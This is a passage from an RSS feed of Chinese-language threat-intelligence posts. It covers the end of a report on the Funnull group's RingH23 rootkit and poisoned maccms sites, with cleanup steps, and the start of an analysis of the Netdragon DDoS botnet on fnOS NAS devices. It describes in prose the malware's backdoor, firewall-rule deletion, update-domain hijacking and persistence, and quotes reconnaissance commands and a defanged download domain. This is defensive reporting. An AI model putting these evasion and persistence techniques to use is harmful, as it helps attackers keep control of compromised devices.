js_insertlocalimg" data-ratio="0.8685185185185185" data-s="300,640" data-type="jpeg" data-w="1080" type="block" data-imgfileid="100000864" src="https://wechat2rss.xlab.app/img-proxy/?k=e0a5e3bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fa6IDQoib5s8xVejECBl17KUAAicKfCIgYk0NFxicMRs3IHQdbbkeJjcibLBr1SrlpnXCKcGGg6AjBJZpYUWOY0bIialbB2nebT4ILZeoDgxnQm64%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">目前跟踪到的指令显示V2deck在收集Nginx,FikkerCDN等进程的信息，和RingH23的目标接近。</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="perl"><code><span leaf="">ps -ef | <span class="code-snippet__keyword">grep</span> Fikker | <span class="code-snippet__keyword">grep</span> -v <span class="code-snippet__keyword">grep</span> | wc -l</span></code><br/><code><span leaf="">ss -antp | <span class="code-snippet__keyword">grep</span> nginx |<span class="code-snippet__keyword">grep</span> ESTAB | awk {<span class="code-snippet__string">&#39;print $5&#39;</span>} | awk -F\: {<span class="code-snippet__string">&#39;print $1&#39;</span>} | <span class="code-snippet__keyword">sort</span> | uni<span class="code-snippet__string">q | wc -l</span></span></code><br/></pre></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">尽管目前仅以中等信心将 v2deck 与 RingH23 关联起来，但考虑到该后门样本及其 C2 域名目前的检测率极低，我们决定将相关情报与本文一并发布。</span></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">总结</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">这是目前我们掌握的Funnull黑产新活动的大部分情报。我们建议网络管理员与个人网站所有者立即开展自查工作，并参照以下指引进行处置。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">① 针对RingH23</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">使用ldd命令检查系统命令的依赖加载情况，重点检测是否存在恶意模块/var/adm/{uuid}/kernel/libutilkeybd.so。若发现该模块，则设置环境变量RING04H={uuid} 以禁用rootkit的保护功能，随后按以下路径清理恶意文件：</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">/etc/ld.preload.conf中与{uuid}有关的部分</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">/etc/udev/99-{uuid}.rules</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">/var/adm/{uuid}目录下所有文件</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">② 针对maccms.la</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">不建议继续使用maccms.la。如果无法迁移，可使用“grep xxSJRox”查看模板js是否已被注入，“grep gzuncompress”查看php中是否可疑的隐藏载荷，并对以下文件进行处理</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">删除/application/extra/active.php</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">删除/application/admin/controller/Update.php</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">修改/application/admin/view_new/index/index.html中ajax升级部分的域名</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">黑产活动在利益驱使下往往“野火烧不尽，春风吹又生”，具有非常强的顽固性，必须依靠全行业的协同合作才能有效遏制。我们诚邀安全厂商及相关技术机构与我们建立联系，推动情报共享与联动处置，共同打击网络犯罪，维护网络安全生态。如果您对我们的研究感兴趣，或者了解内幕消息，欢迎通过微信公众号与我们联系。</span></span></p><p style="text-align:left;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">对IOC感兴趣的读者，请点击下方的阅读原文，我们的官方Blog提供了详尽的IOC情报。</span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://blog.xlab.qianxin.com/exposing-funnull-how-ringh23-maccms-are-poisoning-the-web/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=269fd467&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkxMDYzODQxNA%3D%3D%26mid%3D2247484516%26idx%3D1%26sn%3Dff428e43c3a636bc61646a4459cb6200">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 27 Feb 2026 12:59:00 +0800</pubDate>
    </item>
    <item>
      <title>针对飞牛 NAS 的僵尸网络Netdragon 快速分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkxMDYzODQxNA==&amp;mid=2247484366&amp;idx=1&amp;sn=616c025e092fadda12e637147fcd5dfe</link>
      <description>背景近期，飞牛（fnOS）网络附加存储设备（NAS）曝出大规模遭入侵并感染恶意软件的安全事件。</description>
      <content:encoded><![CDATA[<p>原创 <span>奇安信X实验室</span> <span>2026-02-12 12:27</span> <span style="display: inline-block;">云南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c3967a9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fa6IDQoib5s8wjzl0l3SDVyEiaCwaNQNE3nu5SVsCgaMbmZibfB6XgbVmKcM4wFZyUUBcJwOmjvGeUmBPxOBfOE83icYmCb6vtMGWR1lr2tH9mib0%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-pm-slice="0 0 []"><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">背景</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">近期，飞牛（fnOS）网络附加存储设备（NAS）曝出大规模遭入侵并感染恶意软件的安全事件。攻击者疑似利用飞牛 NAS 系统中尚未公开的安全漏洞，在设备对外暴露相关服务的情况下成功植入恶意程序。通过对已捕获并分析的恶意样本进行研判，我们确认其隶属于 netdragon 恶意软件家族。该家族最早于 2024 年 10 月被我们发现并持续跟踪至今，其核心能力包括 DDoS 攻击与远程命令执行，可将被感染的 NAS 设备纳入僵尸网络，参与大规模分布式拒绝服务攻击活动。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">值得注意的是，Netdragon 在其入侵行为逐步暴露后，持续对样本的对抗能力进行升级，通过多层手段削弱防御与清除效果。在网络层面，样本会主动删除系统中用于阻断 C2 通信的 iptables / nft规则，绕过既有封堵措施；同时篡改 hosts 文件，对飞牛 NAS 官方升级域名进行劫持，从而阻断设备获取系统更新和安全补丁。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在持久化方面，Netdragon 同时引入 systemd 服务与内核模块，构建用户态与内核态的双重持久化机制，显著提升样本在设备上的存活能力；而在代码层面，则通过动态密钥加壳等方式增加逆向分析与签名检测的难度。上述多种对抗手段协同作用，使受感染设备难以被彻底清除，显著抬高了防御、溯源与应急响应成本。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">受这些对抗行为影响，部分受害设备的系统升级机制被直接破坏，表现为无法正常完成系统升级或安装官方安全补丁)。该问题进一步导致设备长期处于受感染状态，安全风险被持续放大。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">受限于当前可获取的数据，我们尚无法完整还原飞牛 NAS 被入侵的具体攻击路径及漏洞细节，相关内容暂不展开讨论。本文将重点围绕恶意样本行为分析、感染规模评估以及 DDoS 攻击活动特征等方面，分享我们阶段性的研究结论。</span></p><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">感染情况分析</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">经过对样本功能的深入分析，我们确认</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">netdragon</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">会在受害设备上开启一个 http 后门接口，攻击者可通过该接口对被感染设备实施远程访问与控制。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">基于该后门的通信特征，并结合 XLAB 全球鹰资产测绘能力 进行排查，我们共发现 1000 余个存在感染迹象的 IP 地址。分析结果表明，这些 IP 均对应 飞牛设备，目前尚未发现其他类型设备受到影响。</span></p><figure style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: max(3.2vmin, 24px) 0px 0px;padding: 0px;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="hunter_census" class="rich_pages wxw-img" data-ratio="0.46799580272822666" data-type="png" data-w="953" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: 0px;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000704" src="https://wechat2rss.xlab.app/img-proxy/?k=f635dd38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8zrWR44ZghrDn24DHTsC9JnRz5TDibPXVYH4ibNdWCU7xta7ibdndEWQNPdXSgFe9pTnDgleLR7ibhliaJEJiamxWt36NZJMwkKItQw4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: 1.4em;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 1.3rem;margin: 0px;padding: 1.5rem 1.5rem 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.5);text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">全球鹰资产测绘</span></span></figcaption></figure><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">此外，从 XLAB 伴随域名数据 中也可以进一步佐证上述结论。如下图所示，</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">xd.killaurasleep[.]top</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 为 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">netdragon</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 下载样本所使用的域名，该域名在被动 DNS 记录中与多个飞牛相关域名存在明显的伴随关系，表明被感染设备可能主要集中于飞牛生态。</span></p><figure style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: max(3.2vmin, 24px) 0px 0px;padding: 0px;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="xlab codomain" class="rich_pages wxw-img" data-ratio="0.42685185185185187" data-type="png" data-w="1080" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: 0px;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000707" src="https://wechat2rss.xlab.app/img-proxy/?k=fd40332a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xjGeVzia9vtCXueLiaFpmsDM9ic59yYC4IurQDwoUwMLMYmDUBCBicT0a1nLd07ZZRnIJoCJjdO1g0TvIjy1l2KoLAw254EGtdWq0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: 1.4em;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 1.3rem;margin: 0px;padding: 1.5rem 1.5rem 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.5);text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">XLAB伴随域名</span></span></figcaption></figure><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">感染规模方面，结合XLAB全球鹰资产测绘和我们掌握的C2控制端数据看。</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">netdragon</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">僵尸网络1月底感染的设备可能在1500台左右。</span></p><figure style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: max(3.2vmin, 24px) 0px 0px;padding: 0px;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="netdragon cnc" class="rich_pages wxw-img" data-ratio="0.07107843137254902" data-type="png" data-w="408" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: 0px;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" data-imgfileid="100000703" src="https://wechat2rss.xlab.app/img-proxy/?k=c402e3d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yEGNwia91Cowy4JIick8GwDzazWf7RAQY6yZ7wYkxHXq9EfZMicm5yGxneic8ibHcLrNpFaHaGQYVN9oZicVicbSHG0HCNP86dg7PDoA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: 1.4em;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 1.3rem;margin: 0px;padding: 1.5rem 1.5rem 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.5);text-align: center;"><span leaf=""><span textstyle="" style="font-size: 14px;">netdragon控制端截图显示在线设备1143台</span></span></figcaption></figure><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">DDoS攻击分析</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">我们自 2024 年 10 月起持续监控与 </span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">netdragon</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 相关的 DDoS 攻击活动。分析显示，</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">netdragon</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 主要通过 Telegram Bot、HTTP API 等渠道接收攻击指令，并据此发起分布式拒绝服务（DDoS）攻击。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">监控结果表明，</span><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">netdragon</span></code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"> 的攻击行为不具备明显的定向性，攻击目标分布范围较广，主要涉及中国、美国、新加坡、澳大利亚等地区。受影响对象涵盖信息传输、软件与信息技术服务、制造业，以及公共管理、社会保障和社会组织等多个行业领域。</span></p><figure style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: inherit;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: max(3.2vmin, 24px) 0px 0px;padding: 0px;vertical-align: baseline;grid-column: main-start / main-end;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><img data-aistatus="1" alt="netdragon attack incident" 